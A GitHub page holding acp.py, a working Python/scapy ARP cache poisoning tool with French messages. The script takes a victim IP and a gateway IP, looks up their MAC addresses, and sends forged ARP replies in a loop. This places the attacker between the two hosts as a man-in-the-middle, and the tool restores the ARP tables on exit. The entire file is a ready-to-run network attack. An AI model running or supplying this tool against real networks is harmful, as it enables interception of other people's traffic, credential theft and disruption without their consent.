-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathacp.py
129 lines (92 loc) · 4.01 KB
/
acp.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#!/usr/bin/env python3
from sys import exit, platform
from termcolor import colored
from os import system as cmd
from scapy.all import *
from time import sleep
import argparse
import icmplib
# ---- Fonctions :
def Banner():
cmd('cls') if platform == "win32" else cmd('clear')
print(colored("""
________ ________ ________
|\ __ \ |\ ____\ |\ __ \
\ \ \|\ \ \ \ \___| \ \ \_\ \
\ \ __ \ \ \ \ \ \ ____|
\ \ \ \ \ __\ \ \____ __\ \ \___|
\ \__\ \__\\\\__\ \_______\\\\__\ \__\
\|__|\|__\|__|\|_______\|__|\|__| """,
'green'),
colored("""
--< Arp cache poisoning python tool
--< by Presta\n """ , 'red' ))
def pinger(ip_add):
try:
stats = icmplib.ping(ip_add, count=2)
print(colored("------------", 'white'), colored(f"\nSent : {stats.packets_sent} , Received : {stats.packets_received} \nPacket lost : {stats.packet_loss}\n", 'blue'))
except icmplib.exceptions.NameLookupError:
print(colored("[!] Impossible de résoudre l'adrsse IP.", "red"), "\n")
exit()
except icmplib.exceptions.SocketPermissionError:
print(colored("[!] Ce programme nécessite des privilèges root !",'red'))
exit()
if str(stats.packet_loss) == "1.0" :
print(colored("[!] L'hôte ne répond pas au packets ICMP.", "red"))
elif str(stats.packet_loss) == "0.0":
print(colored("[i] L'hote répond au paquets icmp", 'yellow'))
def macrecup(ip):
try:
arppacket = scapy.all.Ether(dst="ff:ff:ff:ff:ff:ff") / scapy.all.ARP(op=1, pdst=ip)
targetmac = srp( arppacket, timeout=2 , verbose= False ) [0][0][1].hwsrc
except:
print(colored(f"[!] Impossible de récuperer l'adresse MAC de {ip}", 'red'), "\n")
exit()
return targetmac
def empoisonement_arp(ipvict, macvict, sourceip):
arppkt = scapy.all.ARP(op=2 , pdst=ipvict, psrc=sourceip, hwdst=macvict)
send(arppkt, verbose=False)
# ---- Main :
def main(ip_add, passerelle):
print(colored(f"Envoi de 2 paquets ICMP à {ip_add}...", 'blue'))
pinger(ip_add)
print(colored(f"Envoi de 2 paquets ICMP à {passerelle} ...", 'blue'))
pinger(passerelle)
mac_victime = macrecup(ip_add)
mac_passerelle = macrecup(passerelle)
print("\n-------------------------------------------")
print(colored(f"[i] Victime Ip / MAC -> {ip_add} : {mac_victime}", 'yellow'))
print(colored(f"[i] Passerelle Ip / MAC -> {passerelle} : {mac_passerelle}", 'yellow'))
print(colored("\n[+] Lancement de l'attaque ... ", "green"))
print(colored("[i] Taper controle + C pour quitter le programme.",'yellow'))
print(colored("[+] Attaque lancée avec succès",'green'))
try:
while True:
empoisonement_arp(ip_add, mac_victime, passerelle)
empoisonement_arp(passerelle, mac_passerelle, ip_add)
sleep(10)
except KeyboardInterrupt:
packet = scapy.all.ARP(op=2 , hwsrc=mac_passerelle , psrc=passerelle, hwdst=mac_victime , pdst=ip_add)
packet2 = scapy.all.ARP(op=2 , hwsrc=mac_victime , psrc=ip_add, hwdst=mac_passerelle , pdst=passerelle)
send(packet, verbose=False) ; send(packet2, verbose=False)
print(colored("\n[i] Les tables cam ont été restoré", "yellow"))
print(colored("[!] Exiting...", 'red'))
exit()
# --------------------------
if __name__ == "__main__":
Banner()
parser = argparse.ArgumentParser("python3 acp.py")
parser.add_argument(
"-s",
"--switch-ip",
help="The switch adress IP.\n",
required=True
)
parser.add_argument(
"-i",
"--victim-ip",
help="The victim adress IP.\n",
required=True
)
args = parser.parse_args() ; ip_add = args.victim_ip ; passerelle = args.switch_ip
main(ip_add, passerelle)